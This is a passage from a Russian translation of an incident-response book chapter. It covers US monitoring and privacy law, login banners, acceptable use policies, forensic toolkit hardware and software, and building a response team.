ческие особенности поиска и анализа данных сотрудников, а также правиль-
ная процедура сбора фактов. А сейчас обсудим федеральные законы, приме-
нимые к каждой из четырех операций по расследованию инцидентов.
ВНИМАНИЕ Юристы написали сотни страниц законодательных актов, примени-
мых к инцидентам с компьютерной безопасностью. Подразделение
CCIPS (Computer Crime and Intellectual Property Section, сектор
компьютерных преступлений и интеллектуальной собственности)
Министерства юстиции (Department of Justice) поддерживает сайт с
постоянно обновляемой информацией для знакомства с федераль-
ным законодательством (и законодательными нормами), действую-
щим в данной области: http://www.usdoj.gov/criminal/cybercrime.
Что может произойти
Постоянно происходит крах маршрутизатора. Вряд ли это устройство ма-
гическим образом само устраняет возникающие проблемы. В чем причина
постоянных крахов? Может это атака отказа в обслуживании, проводимая
против сети компании?
Где искать факты
Для определения причины неполадок необходимо изучение сетевого тра-
фика, однако при этом нужно учитывать и гражданские права сотрудников.
Возникает проблема --- нельзя найти причину неполадок, не просматривая
содержимое сетевого трафика. Рекомендуем регистрировать все заголовки
транспортного и сетевого уровней для идентификации источника проб-
лем. Это удачное решение, позволяющее провести перехват и отслежива
пне, но не затрагивающее данные, пересылаемые пользователями.
Проведение в сети перехвата и отслеживания
Перехват и отслеживание выполняются с двумя целями: защитить граждан
ские права пользователей в сети и разрешить системным администраторам
пронести диагностику сети для выявления источника технических проблем
Перехват и отслеживание предполагают вторжение во время выполнения
сетевой диагностики.

62
ГлаваЗ
Как выполнить перехват и отслеживание, не касаясь информационно-
го содержимого? Правоохранительным органам потребуется разрешение
на такие действия, но во время корпоративного расследования можно
обойтись без судебного постановления или ордера. Обычно для правоох-
ранительных органов необходимо письменное постановление, как это опре-
делено в Части 3 (Title III) Акта о гражданских правах в электронных ком-
муникациях ЕСРА (Electronic Communications Privacy Act). Акт ЕСРА
содержится в постановлении 18 U.S.C. параграф 3121 3127. В 18 U.S.C. па-
раграф 3121 сказано: "лицо не должно устанавливать или использовать ре-
гистраторы, либо проводить перехват и отслеживание устройств без по-
лучения судебного постановления...", за исключением трех случаев. Два
первых исключения из общего правила позволяют поставщикам услуг
(обычно организациям) перехватывать и отслеживать во время монито-
ринга обычные бизнес операции для обеспечения успешной работы ком-
пании ((b)(1) (2)). Третье исключение, (b)(3), предполагает согласие пользо-
вателей на проведение перехвата и отслеживания.
Что может произойти
По вечерам сетевой трафик обычно невелик. На терминальном экране Sessi-
on Wall большую часть трафика должен составлять протокол HTTP
(Web трафик). Однако обнаружилась работа по протоколу telnet, которая за-
прещена в сети согласно действующей в компании политики AUP (посколь-
ку этот протокол без шифрования обеспечивает доступ на уровне коман-
дной строки). Еще большие опасения вызывает тот факт, что IP адрес
источника для сеанса telnet находится в другой стране. Разрешается прове-
сти мониторинг этого трафика для изучения действий, проводимых в сети
без авторизации. К счастью, SessionWall позволяет показать содержимое
сеанса в понятном виде. Но возникает вопрос о законности просмотра не
авторизированного сеанса telnet. Что предписывает закон? Человек нару-
шает его, если пренебрегает правом на гражданскую свободу другого чело-
века? Есть ли утвержденная политика, разрешающая просмотр сеанса?
Где искать факты
Обычно взломщики пользуются украденными учетными записями и перио-
дически обращаются к компьютерам, не имеющим системы уведомления.
Если допускается полномасштабный мониторинг, представитель правоох-
ранительных органов или системный администратор должен установить в
системе уведомление о входе в систему пользователя. При следующем до-
ступе взломщика можно проводить мониторинг, поскольку злоумышлен-
ник был уведомлен об отслеживании его действий. Это верный признак
для атакующего, что состояние системы изменилось и его посещения уже
не являются секретом. Скорее всего изменятся и действия взломщика.
Нужно снабдить уведомлениями (баннерами) все необходимые систе-
мы, чтобы атакующий не смог пренебречь действующей в сети политикой
безопасности. Системным администраторам обычно требуется установить
уведомления для сеансов telnet и rlogin.

Подготовка к реагированию на компьютерный инцидент
63
Проведение в сети полномасштабного мониторинга
Существует множество ситуаций, когда полномасштабный мониторинг ста-
новится критически важным для выявления незаконных или неавторизо-
ванных операций, а также лиц, проводящих такие действия.
Сотруднику правоохранительных органов при перехвате обычно требу-
ется учитывать положение Части 3 (Title III), но правильно установленные
уведомления и политики AUP позволят во время корпоративного расследо-
вания проводить полномасштабный мониторинг и регистрацию клавиатур-
ного ввода в реальном времени.
Постановление 18 U.S.C. параграф 2511 известно как решение о федераль-
ном подключении (перехвате). Это постановление определяет как незакон-
ные любые действия по перехвату проводных, голосовых и электронных ком-
муникаций. Заметим, что постановление действует как на сотрудников
правоохранительных органов, так и на прочих граждан. Из общего прави-
ла существует несколько исключений. Наиболее важное из них определено
в постановлении 18 U.S.С. параграф 2511 (2)(с), позволяющее "липу, действу-
ющему от имени закона, перехватывать проводные, голосовые и электрон-
ные коммуникации, если это лицо является участником данной коммуника-
ции или это лицо получило предварительное разрешение от участников
коммуникации". Подраздел Subsection (2)(d) позволяет "лицу, не действую-
щему от имени закона, перехватывать проводные, голосовые и электронные
коммуникации, если это лицо является участником данной коммуникации
или это лицо получило предварительное разрешение от участников комму-
никации".
Если правильно установлены политики, то можно получить разрешение
на мониторинг от сотрудников компании. Но как получить такое разреше-
ние от нежелательного взломщика? Важно найти определение человека,
участвующего во взаимодействии, когда взломщик проникает в сеть компа-
нии. Именно поэтому при входе в систему необходимо уведомление. Если
потенциальная жертва имеет правильно оформленное уведомление, то
взломщик становится участником коммуникации, который заранее согла-
сен на отслеживание своих действий. Если атакующий видел уведомляю-
щий баннер, значит он косвенным образом разрешил мониторинг своих
действий.
После установки уведомления (баннера) необходимо получить согласие
второй стороны, участвующей во взаимодействии. Обычно эта роль отво-
дится системному администратору компьютера жертвы, поэтому согласие
на мониторинг нетрудно получить и у второго участника коммуникации.
ВНИМАНИЕ Если вспомнить историю с Линдой Трипп (Linda Tripp), то станет ясна
необходимость согласования мониторинга с обоими участниками
сетевого взаимодействия. Это в явном виде оговорено в законода-
тельстве некоторых штатов, например Мериленда и Массачусетса.

64
Глава 3
ИНФОРМАЦИОННЫЕ РЕСУРСЫ В ИНТЕРНЕТЕ:
Институт проектирования программного обеспечения университета
Карнеги Меллона (Carnegie Mellon Software Engineering Institute), CERT Advisory
CA 1992 19 Keystroke Logging Banner (Рекомендации CERT по регистрационному
баннеру клавиатурного ввода): http://www.cert.org/advisories/CA 1992 19.html
Министерство энергетики США (U.S. Dept. of Energy), Computer Insident Advisor
Capability (Информационное сообщение о компьютерном инциденте):
ciac.Llnl.gov/ciac/bulletins/j 043.shtml
Уведомление при входе в систему NT 4: http://www.cert.org/security improvement/
implementations/i034.01 .html
TCP Wrappers: uwsg.ucs.indiana.edu/security/tcp wrappers.html
Поиск и просмотр компьютеров сотрудников
Положение о перехвате в постановлении 18 U.S.С. параграфы 2511 --- 2521
применимо для перехвата коммуникаций в реальном времени, но не к со-
храненным данным о взаимодействии. Перехват коммуникаций в реальном вре-
мени предполагает мониторинг и запись данных во время реальной пере-
сылки информации. Доступ к сохраненным данным о коммуникации допускает
чтение или копирование информации, которая на момент доступа никуда
не пересылается. Доступ к сохраненной информации о предоставленных
электронных коммуникационных услугах определяется постановлением 18
U.S.C. параграфы 2701 2709.
Например, если один из сотрудников подозревается в пересылке по
e mail промышленных секретов для конкурирующей компании, появляются
две возможности для доступа к сообщению e mail:
Провести сетевой мониторинг для перехвата почтового сообщения
во время его пересылки по сети. Эта операция регулируется поста-
новлением 18 U.S.C. параграф 2511, а также другими местными зако-
нодательными актами для перехвата информации.
Ознакомиться с почтовым сообщением на компьютере сотрудника
или почтовом сервере компании. Эта операция регулируется поста-
новлением 18 U.S.C. параграф 2701, а также другими подходящими
федеральными и местными законодательными актами.
Снова необходима консультация юриста, поскольку закон делает разли-
чие между доступом к непрочитанной и прочитанной почте. Для выполне-
ния требований закона следует считать доступ к непрочитанному почтовому
сообщению подобным электронному перехвату и придерживаться 18 U.S.C.
параграфов 2511 --- 2521 вместе с местными законодательными актами. Если
же сообщение e mail уже прочитано получателем, то доступ к нему регулиру-
ется постановлением 18 U.S.C. параграфы 2701 --- 2709 вместе с местными за-
конодательными актами.
Во время изменения или ввода новой политики AUP важно проверить
ее соответствие закону в части доступа к сохраненным и перехваченным
коммуникациям. Хорошо разработанная корпоративная политика AUP

Подготовка к реагированию на компьютерный инцидент
65
может позволить компании заранее согласовать все расхождения с законом
для быстрого проведения мониторинга и доступа к сохраненным коммуни-
кациям. В обоих случаях мы сможем успешно собрать факты инцидента для
предоставления в органы правопорядка.
Помните об обязательном выполнении закона, ведь постановление 18
U.S.C. (параграфы 2511 и 2520) предполагает уголовную и административ-
ную ответственность при неправомочном перехвате электронных комму-
никаций. Другими словами, системного администратора могут засудить за
незаконное прослушивание. Кроме того, полученная таким образом ин-
формация не будет учитываться в суде.
Акт о личных гражданских правах и Четвертая поправка
Мы не сможем подробно обсудить все положения Акта о личных граж-
данских правах (РРА, Personal Privacy Act) и Четвертой поправки (Fourth
Amendment), поскольку в обоих случаях интерпретация требует юриди-
ческого образования. Однако рассмотрим основные аспекты этих зако-
нодательных документов.
Акт РРА защищает два типа материалов: продукты труда и документы.
Продукты труда --- это оригиналы (рукописи), передаваемые другому лицу
для последующей публикации. Документами называются материалы, пред-
назначенные для общественного распространения в виде газет, журналов,
передач и иных типов общественной коммуникации. Эти два типа матери-
алов защищены гораздо сильнее, чем определено в Четвертой поправке
(Fourth Amendment). Дополнительная информация находится по адресу:
http://www.usdoj.gov/criminal/cybercrime/search_docs/sect5.htm.
Четвертая поправка защищает граждан США от необоснованных рас-
следований и проверок со стороны правительства. В этой поправке к
конституции определены права правительства по отношению к граждан-
ским правам жителей страны. Кроме того, Четвертая поправка защища-
ет гражданские права людей в Интернете. Одним из важнейших ее поло-
жений является защита людей, а не мест их пребывания. Можно быть
владельцем компьютера (место), но данные на нем защищены Четвертой
поправкой, поэтому сотрудники компании могут ожидать защиты своих
персональных данных от посягательства компании, владеющей компью-
терами.
Четвертая поправка имеет несколько исключений, действующих на
представителей закона и команду реагирования на инциденты. Прави-
льная политика AUP поможет согласовать с сотрудниками поиск на их
компьютерах в качестве стандартной бизнес практики. Сотрудники
вправе ожидать защиты своих данных даже на рабочем месте. Учитывая
широкое использование домашних компьютеров в рабочих целях, мож-
но оговорить в политике расширение прав доступа и на компьютеры,
находящиеся у сотрудников дома.

66
Глава 3
Координация действий с вышестоящими сайтами,
участвующими в инциденте
Корпоративное расследование может добыть необходимые факты у выше-
стоящих (промежуточных) сайтов. Взаимодействие с другими организация-
ми, оказавшимися вовлеченными в атаку, позволит получить фантастиче-
ские результаты. Если компьютерный взломщик получил доступ к сети, то
атакованными окажутся все промежуточные сайты, которые могут быстро
предоставить факты о регистрации незаконных действий и помочь в про-
ведении расследования. Сотрудникам правоохранительных органов требу-
ется судебное постановление для доступа к журналам на промежуточных
сайтах, но в процессе корпоративного расследования можно просто попро-
сить помощь у коллег.
Например, если источником атаки является местный университет, то мож-
но обратиться к системному администратору университетской сети и он не
откажется помочь в выявлении взломщика и определении компьютера, с
которого проведена атака. Однако следует быть осторожным, ведь за помо-
щью можно случайно обратиться к самому взломщику!
НАГЛЯДНЫЙ ПРИМЕР
Вспоминается одно вторжение на базу ВВС США, когда хакер сначала
взломал промежуточную систему, которая и стала плацдармом для напа-
дения. Персонал ранее взломанной системы уведомил об атаке системно-
го администратора на военной базе. Но почтовая учетная запись этого
администратора была уже взломана хакером, который тут же прочитал
сообщение. Хакер переслал же сообщение адресату!
Итоговые сведения о преимуществах политики
Подведем итоги о политике AUP, позволяющей выполнить свою работу
команде реагирования на инциденты. Существуют четыре типа информа-
ции, которая доступна при корпоративном расследовании, но требует су-
дебных постановлений для работников правоохранительных органов:
Информация о подписчиках, являющихся авторизованными пользова-
телями системы, может быть получена у системного администратора,
но работникам правоохранительных органов потребуется судебное
постановление (18 U.S.C. параграф 2703(c)(1)(C).
Транзакционная информация об учетных записях (без содержащихся в
них данных --- только сведения о предоставленных услугах, времени
предоставления услуги и т.д.). Сотрудникам правоохранительных орга-
нов потребуется судебное постановление согласно 18 U.S.C. параграфа
2703(d), причем после предоставления материалов о необходимости
этой информации во время уголовного расследования.

Подготовка к реагированию на компьютерный инцидент
67
Содержимое электронных коммуникаций, сохраненное на компьютере.
Всегда необходимо разрешение на поиск, но это может допускаться во
время корпоративного расследования, если оговорено в бизнес процеду-
рах и политике компании. Сотрудникам правоохранительных органов
потребуется судебное постановление согласно 18 U.S.C. параграфы
2701 --- 2709 или Четвертой поправке.
Полномасштабный сетевой мониторинг после согласования с сотруд-
никами компании. Сотрудникам правоохранительных органов обыч-
но не разрешается проведение мониторинга, но работодатель должен
согласовать это со своими работниками.
ВНИМАНИЕ Существует редко используемое исключение из правил перехвата дан-
ных --- 18 U.S.C. параграф 2511 (2)(a)(i)), которое позволяет системному
администратору проводить мониторинг электронных коммуникаций,
передающихся через локальную сеть, поскольку мониторинг "необ-
ходим для предотвращения отказа служб или защиты прав собст-
венности на эти службы". Данное исключение все же основывается
на явно определенных политиках, предписывающих системному ад-
министратору наблюдение за сквозным сетевым трафиком в ходе
стандартных бизнес операций. Подробности см. на сайте Computer
Crime and Intellectual Property Section: http://www.usdoj.gov/crimi
nal/cybercrime.
Разработка приемлемой для использования политики (AUP)
Перед разработкой базовых правил безопасности и реакции на инцидент
необходимо решить, кто будет нести ответственность за создание и обнов-
ление политик, а также их использование на практике.
Политика AUP действует на всю организацию: пользователей, менедже-
ров, внутренних аудиторов, юридический отдел, системных администрато-
ров и технический персонал. Следовательно, все эти сотрудники должны
участвовать в утверждении политики.
Можно упомянуть многие интерактивные и печатные публикации с при-
мерами политик AUP и рекомендациями по их разработке (например, Model
Security Policies от SANS Institute или список примеров в приложении этой
книги). Приведем несколько советов по разработке эффективной политики
AUP:
Решите, кому можно доверять в сети.
Нацельте сотрудников на использование политики AUP.
Сформируйте согласованную и ясную политику AUP.
ИНФОРМАЦИОННЫЕ РЕСУРСЫ В ИНТЕРНЕТЕ:
SANS Institute Model Security Policies: http://www.sans.org/newlook/resources/po
licies/policies.htm

68
Глава 3
Доверие в сети
Прежде всего следует решить, кому можно доверять в сети. Политика AUP
позволит получить организации законные основания для мониторинга дей-
ствий сотрудников, включая лиц, пользующихся удаленным доступом к
сети. Поэтому потребуется определить, нужен ли мониторинг всех дейст-
вий, либо достаточно отслеживать только операции определенных типов.
Еще одно замечание о разработке политики касается потенциальных по-
дозреваемых: поводом к мониторингу должны стать неправомочные или
незаконные действия (хотя их и непросто выявить без проведения монито-
ринга). Выбранная политика должна соответствовать "духу" компании.
Вне зависимости от качества политики AUP, она должна рассматривать-
ся как мера по контролю за типичным поведением сотрудников. Такие
меры нельзя назвать популярными, особенно учитывая, что целью полити-
ки AUP с точки зрения расследования является упрощение сбора информа-
ции и фактов за счет мероприятий, связанных с вторжением. Скажем про-
ще: чтобы сотрудники приняли политику AUP, которая рассматривается
как ограничение их гражданских прав, можно считать, что политика при-
звана защищать гражданские права каждого сотрудника.
НАГЛЯДНЫЙ ПРИМЕР
Одно правительственное учреждение имело доступ к любому файлу на
любом сетевом компьютере NT. Это позволяло системному администра-
тору произвольным образом и в любое время просматривать компьютер-
ную систему любого сотрудника. В данном учреждении использовалось
средство сетевого мониторинга, позволявшее сотрудникам отдела ин-
формационной безопасности знакомиться со всеми сообщениями e mail,
просматривать списки посещенных сотрудниками Web сайтов и наблю-
дать за сеансами telnet. С помощью Session Wall проводился мониторинг
всего трафика, проходящего через граничный маршрутизатор. Полити-
ка AUP не согласовывалась с действующим законодательством, но это
было исключение для правительственного учреждения и его локальной
сети. Не всегда удается вести наблюдение в таком же объеме, поскольку
для этого может не хватать людей и технических ресурсов.
Работа с сотрудниками
Чтобы политика стала эффективной, необходимо заинтересовать и обучить
всех сотрудников компании. Во время разработки политики весь состав ком-
пании должен в письменной и/или в устной форме подтвердить свое согла-
сие на применение политики. Имейте в виду, что для сотрудников несколько
раз в год должны проводиться обучающие курсы.
Помните, что основой надежной безопасности и эффективной реакции
на инцидент является четкое разделение обязанностей среди сотрудников
компании. Слишком часто вся организация становится незащищенной из за
одного неправильно сконфигурированного сетевого компьютера. В политике

Подготовка к реагированию на компьютерный инцидент
69
следует отметить это обстоятельство, а также важность уведомления об ин-
цидентах и коллективных усилиях в области обеспечения безопасности
(действий одного, отдельно взятого сотрудника будет недостаточно).
Ясность и согласованность
Еще во время разработки политики AUP нужно помнить о необходимости
строгого следования этой политики. Если кто нибудь нарушит установлен-
ные правила, то можно столкнуться с отказом в возбуждении уголовного
дела, если виновнику удастся доказать, что принятые правила не действова-
ли в прошлом.
Разработка политики AUP
При разработке собственного варианта политики AUP следует использо-
вать метод "сверху вниз" и сформировать несколько отдельных политик
вместо одного большого свода правил.
Разработка сверху вниз
Мы уже обсудили юридические основы для формирования удачной полити-
ки, которая поможет избежать неприятностей. Следует учитывать техниче-
ские, юридические и организационные аспекты действий, которые пред-
полагается контролировать. Запишите все подобные аспекты, чтобы
сформировать список положений разрабатываемой политики. Пример та-
кого списка, созданного методом "сверху вниз":
Технические аспекты
Кто может добавлять и удалять учетные записи пользователей?
Кто имеет удаленный доступ к компьютеру?
Кто имеет право сканировать компьютеры?
Кто способен завладеть или взломать пароль?
Кто и к какой системе имеет право административного доступа?
Допускаются ли публикации в группах новостей?
Допускается ли работа службы IRC (чат) и службы мгновенных со-
общений (instant messenger)?
Защищена ли сеть от установки пиратского программного обеспе-
чения?
Поведенческие аспекты
Каково допустимое использование Web?
Как предполагается отвечать на сексуальные преследования, угро-
зы и другие нежелательные сообщения e mail?
Разработка отдельных политик
Многие организационные аспекты деятельности компаний ведут к созда-
нию набора небольших политик вместо единого документа об общей

70
Глава 3
политике AUP. Небольшие документы проще обновлять и, в общем случае,
ими проще управлять. Несколько тем для разработки отдельных политик:
Допустимая политика использования (Acceptable Use Policy)
Политика для учетных записей пользователей (User Account Policy)
Политика удаленного доступа (Remote Access Policy)
Политика использования Интернета (Internet Usage Policy)
Политика Acceptable Use Policy определяет действия всех пользовате-
лей, но политика User Account Policy диктует правила проведения опера-
ций по добавлению учетных записей в систему, присвоения полномочий
административного доступа и даже правила обращения пользователей к
платным информационным ресурсам. Политика Remote Access Policy опре-
деляет, кто и как может получить удаленный доступ к системе, а политика
Internet Usage Policy описывает, когда и как пользователи могут обращать-
ся в Интернет (что по разному трактуется сотрудниками и сотрудницами).
Политика для учетных записей пользователей
в крупной организации
Политика User Account Policy особенно важна в больших компаниях, где со-
труднику необходимы несколько учетных записей для доступа к разным сис-
темам. Во время хакерской атаки часто компрометируются имя и пароль не-
которой учетной записи. Необходимо точно знать, к какой системе мог быть
получен доступ и каковы границы инцидента. В этом поможет политика
User Account Policy. Здесь придется либо просматривать списки учетных за-
писей на тысячах компьютеров, либо обратиться к единой базе данных учет-
ных записей, которая сформирована сотрудниками отдела компьютерной
безопасности в рамках политики User Account Policy.
Разработка процедур реагирования на инциденты
Все в мире взаимосвязано: Сонни и Шер, Донни и Мери, а также политики и
процедуры. Одно невозможно без другого, поэтому обсуждение политик ве-
дет к анализу процедур реагирования на инцидент. Процедура --- это реализа-
ция политики в пределах компании. Например, если политика реагирова-
ния предписырает действия для любого инцидента, то описание процедуры
займет целую книгу, включая настройку сетевого мониторинга, исследова-
ние серверов и поддержание точности карты сети. Наша книга посвящена
описанию процедур, проводимых командой реагирования на инциденты.
Можно считать, здесь рассматриваются наиболее эффективные процедуры,
однако им все же потребуются некоторые улучшения для использования на
практике. Предполагается, что команда реагирования на инцидент как раз и
займется таким улучшением.

Подготовка к реагированию на компьютерный инцидент
71
ИНФОРМАЦИОННЫЕ РЕСУРСЫ В ИНТЕРНЕТЕ:
Процедуры реагирования на инциденты: http://www.sans.org/newlook/publkations/
incident_handling.htm
СОЗДАНИЕ НАБОРА ИНСТРУМЕНТОВ
ДЛЯ РЕАГИРОВАНИЯ НА ИНЦИДЕНТЫ
Набор инструментов реагирования (response toolkit) --- это программное и
аппаратное обеспечение, которое применяется в случае инцидента. Этот
набор становится критически важным для подготовки к инцидентам и пол-
ностью определяется потребностями команды реагирования. Кроме того,
набор служит для реагирования на инцидент.
Аппаратное обеспечение для реагирования на инциденты
Аппаратная платформа для судебного расследования обычно представляет
собой конфигурацию "модуль" или "устройство запуска". Это должна быть
надежная и простая в настройке платформа, состоящая из полноразмер-
ных компонентов, позволяющая подключаться к разнообразным внешним
устройствам и имеющая адаптер сетевого интерфейса (NIC, network inter-
face card) вместе с устройством записи/чтения компакт дисков. Такая плат-
форма надежна и гибка для проведения реагирования на инцидент и запус-
ка разнообразных приложений (включая сетевые).
Главным требованием к оборудованию станет наличие большого жест-
кого диска, карты SCSI, адаптера 10/100 и ленточного накопителя. Необхо-
дим мощный процессор и много памяти, поскольку во время реакции на
инцидент очень важно время. Рекомендуемая аппаратная конфигурация:
Мощный современный процессор
Не менее 256 Мбайт оперативной памяти
Накопители IDE большой емкости
Накопители SCSI большой емкости
Карта и контроллер SCSI
Быстрое устройство записи/чтения компакт дисков
Ленточный накопитель Exabyte с носителем 8 мм (20 или 40 Гбайт в
режиме сжатия информации) или накопитель на лентах DDS3 (4 мм),
если приходится экономить средства
Несколько других устройств, которые рекомендуется приобрести заранее:
Дополнительный источник питания для подключения к системному
блоку таких устройств, как внешние диски
Дополнительные кабели сетевого питания
Несколько кабелей SСSI и активных терминаторов шины

72
Глава 3
Адаптер преобразования параллельного интерфейса в SCSI
Набор сетевых кабелей категории 5 и концентраторы
Гибкие кабели с более чем тремя разъемами
Монтажные инструменты
Источник бесперебойного питания UPS
Компакт диски от 100 шт. и больше
Этикетки для компакт дисков
Маркер для нанесения надписей на компакт диски
Диски Jaz или Zip
Папки и этикетки для них (чтобы записывать факты инцидента)
Руководства по использованию всего оборудования
/
Цифровая камера
Набор инструментов, например Victorinox Cybertool или иной
Контейнер для собранных улик (если расследование проводится в
других местах)
Принтер и бумага к нему
Контейнер для сжигания бумаги (полезен, когда необходимо вывести
на печать важный отчет об инциденте для его редактирования, но по-
следующего уничтожения)
ОСТОРОЖНО Если разрешается самостоятельно комплектовать компьютер для
судебного расследования, подумайте дважды. Единственным побу-
дительным фактором является в этом случае изучение процесса
сборки компьютеров, поэтому не экономьте на мелочах и купите го-
товый компьютер.
Рекомендуем приобретать компьютеры в компании http://www.compu
ter forensics.com. Ее владелец служил в отделе специальных расследований
ВВС США, поэтому хорошо знаком с требованиями к компьютерам для про-
ведения судебных расследований.
Программное обеспечение для реагирования на инциденты
Одним из любимых трюков многих атакующих является троянская версия
команды, которой пользуется системный администратор для выявления
вторжений. Хотя этот трюк по большей части характерен для систем
UNIX, вполне возможно использование модифицированной библиотеки
динамической компоновки DLL (dynamically linked library), которая изме-
нит обычное поведение программы для Windows.
Для создания набора необходимо проверенное и неискаженное про-
граммное обеспечение (так называемые доверенные исходные коды --- trusted

Подготовка к реагированию на компьютерный инцидент
73
binary), которое не повредит систему. Программные инструменты из этого
набора не должны менять метки времени/даты у файлов системы жертвы.
В дополнение к доверенным исходным кодам программное обеспечение
должно поддерживать исследуемые целевые операционные системы. Отде-
льные утилиты для определенных систем будут рассмотрены в следующих
главах книги, но краткий предварительный список может быть таким:
Две или три операционные системы на одном компьютере, например
Windows 98, Windows NT, Windows 2000 и Linux, запускаемые загруз-
чиком LILO (загрузчик ОС Linux, обеспечивающий запуск других опе-
рационных систем)
Утилиты Safeback, EnCase, DiskPro или иной программный пакет судеб-
ного расследования, позволяющий воссоздать точный образ компью-
терных носителей для целей судебного исследования (см. главу 5)
Все драйверы для всех устройств исследуемого компьютера (абсолют-
но необходимо!)
Quickview Plus, HandyVue или иной пакет, позволяющий просматри-
вать файлы любого типа
Утилита блокировки записи на диск
Платформа для сетевого мониторинга
Настанет время, когда потребуется провести мониторинг работы сети. Для
этого необходим компьютер, способный обработать весь сетевой трафик.
Система для сетевого мониторинга должна быть оснащена процессором
Pentium с тактовой частотой 166 МГц и выше, иметь не менее 128 Мбайт
оперативной памяти (и даже больше, в зависимости от сетевого трафика и
используемой ОС). Если локальный сетевой сегмент работает на скорости
протокола Fast Ethernet, рекомендуется иметь 256 Мбайт оперативной па-
мяти. Потребуется жесткий диск размером примерно 1 Гбайт (или больше,
в зависимости от сетевого трафика).
Если сетевой монитор работает в среде Sparc 20 или ниже (в ОС Solaris)
увеличивается вероятность отброса пакетов. Требования к памяти такие
же, как для платформы Intel.
Убедитесь, что система для сетевого мониторинга имеет сетевой адаптер
NIC, поддерживающий привилегированный режим (promiscuous mode), как
например в адаптерах компаний Madge или 3Com. Это особенно важно для
мониторинга сетей Token Ring. Большая часть сетевых адаптеров Token
Ring не поддерживает привилегированный режим. В некоторых организа
циях используются адаптеры Shomiti, которые не откликаются на пакеты
протокола ARP (Address Resolution Protocol, протокол разрешения адресов)
и обеспечивают "тишину" в сети. Неплохо иметь под рукой преобразователь
сетевых интерфейсов (10Base2, lOBaseT, FDDI, Token Ring и т.д.).
Подробно о сеченом мониторинге рассказано в главах в  8.

74
Глава 3
ФОРМИРОВАНИЕ КОМАНДЫ РЕАГИРОВАНИЯ
НА ИНЦИДЕНТЫ
После того как произошел компьютерный инцидент нарушения безопасно-
сти системы, поздно собирать команду реагирования. Неподготовленный и
нетренированный персонал не сможет достичь успеха! В состав команды
реагирования должны войти люди, которые обращают внимание на все де-
тали происходящих событий, держат их под контролем, не пропускают
важных фактов и тщательно документируют свои действия.
ВНИМАНИЕ Назвать команду реагирования можно по разному: Команда реаги-
рования на компьютерные инциденты, Команда расследования ин-
цидентов, Команда быстрого реагирования на инциденты, Команда
расследования компьютерных преступлений или иначе. Мы будем
называть этот коллектив Командой реагирования на компьютерные
инциденты (CIRT, Computer Incident Response Team).
Цели работы команды реагирования
Целями команды реагирования на инциденты станут:
Реакция на все явные и предполагаемые компьютерные инциденты в
организации и проведение установленной процедуры расследования.
Беспристрастное (насколько это возможно) и полное расследование
инцидента.
Быстрое подтверждение или опровержение факта вторжения или на-
рушения безопасности системы.
Определение ущерба и области действия инцидента.
Установка линии постоянной связи (24 часа, 7 дней в неделю) для
клиентов на время проведения расследования.
Контроль и подавление последствий инцидента.
Сбор фактов и документирование инцидента.
Прослеживание цепочки взаимосвязанных событий (защита фактов
во время сбора информации об инциденте).
Привлечение дополнительных сил (при необходимости).
Защита гражданских прав, установленных законом и/или корпора-
тивной политикой.
Обеспечение взаимодействия с органами правопорядка и судебными
инстанциями.
Обеспечение должного уровня конфиденциальности, позволяющего
защитить организацию от ненужных кривотолков.
Проведение сбора свидетельских показаний.

Подготовка к реагированию на компьютерный инцидент
75
Предоставление руководству рекомендаций, полностью, основанных
на фактах, выявленных при расследовании инцидента.
Получение поддержки на верхних уровнях руководства
Любые политики, процедуры или реакция на инцидент невозможны без
поддержки работы команды реагирования на верхних административных
уровнях компании. Без такой поддержки команда реагирования станет
"беззубой". Пользователи не будут следовать установленной политике, а
команда не сможет требовать ее выполнения. Как получить поддержку на
верхних уровнях руководства компанией? Приводите примеры из реаль-
ной жизни (возможно из жизни компании), которые показывают финансо-
вые убытки (помните, что бизнес стоит на первом месте) от компьютерных
атак и кражи информации. Реалистический, но выдуманный случай тоже
поможет высшему руководству понять преимущества реагирования на ин-
циденты.
бщий сбор команды реагирования
После инцидента первым мероприятием должно стать назначение одного
из сотрудников руководителем команды реагирования или присвоением
ему полномочий главного следователя. В этом случает сотрудник получит в
команде право на окончательное решение (демократические принципы су-
щественно замедлят работу команды реагирования на инциденты).
Все исследователи компьютерных инцидентов должны быть знакомы с
соответствующими технологиями, а также иметь необходимую квалифика-
цию для оценки преимуществ и недостатков различных стратегий реагиро
вания. Таких специалистов немного, но необходимым уровнем квалифика-
ции должен обладать хотя бы руководитель команды реагирования.
Руководитель команды реагирования должен оценить необходимые
людские и технические ресурсы еще до начала формирования команды.
Например, если жертвой атаки стал маршрутизатор Cisco, в команду следу-
ет пригласить специалиста по этому устройству.
Состав команды реагирования зависит от многих факторов, включая
следующие:
Количество хостов, участвовавших в инциденте
Количество операционных систем, участвовавших в инциденте
Сложность инцидента
Предполагаемый ущерб (чем больше ущерб, тем больше потребуется
ресурсов)
Единственным способом оценки необходимых людских и технических
ресурсов остается практика.

76
Глава 3
Оправдать надежды
Инцидент заставляет людей работать, и они хотят получать правильные от-
веты на свои вопросы. Руководитель команды реагирования обязан иметь
реалистический взгляд на то, какой из членов команды должен выполнить
определенную работу и сколько времени на это уйдет.
Тренировка команды реагирования на инциденты
и профессиональные сообщества
Нельзя переоценить проведение тренировок и обучения. Сегодня доступ-
ны разнообразные учебные курсы для сотрудников команд реагирования
на инциденты, которые вполне оправдывают свою стоимость.
ИНФОРМАЦИОННЫЕ РЕСУРСЫ В ИНТЕРНЕТЕ:
SANS Institute: http://www.sans.org
Foundstone: http://www.foundstone.com
Carnegie Mellon Software Engineering Institute: http://www.cert.org
Неплохо вступить в профессиональное сообщество, чтобы продолжить
обучение и пользоваться советами других членов сообщества. Но помните,
что привлечение органов правопорядка и частных компаний к расследова-
нию компьютерных инцидентов открывает для них доступ ко всем важным
НАГЛЯДНЫЙ ПРИМЕР
Пару лет назад мы участвовали в расследовании компьютерного вторже-
ния в Новой Англии. К работе были привлечены четыре сотрудника и за
несколько часов были собраны доказательства о вторжении неизвестно-
го в сеть компании. После опроса сотрудников и судебного копирования
нескольких компьютеров, оказавшихся в зоне действия инцидента, нам
понадобилось еще несколько недель для полного завершения расследо-
вания. Поэтому для решения даже небольшой задачи может потребовать-
ся много времени.
Еще один пример связан с полным заполнением порнографическими
картинками диска в 2 GB моим старшим сыном. Здесь было важно опре-
делить:
Сколько ненужных рисунков попало в систему
Где были размещены эти рисунки
Кто записывал их на диск
Откуда были получены рисунки
На исследование жесткого диска потребовалось 20 дней, ИЗ которых
15 ушли на нажатие клавиши Page Down для просмотра всего, что было
записано на диск!

Подготовка к реагированию на компьютерный инцидент
77
информационным активам. Приглашенные эксперты могут собрать инфор-
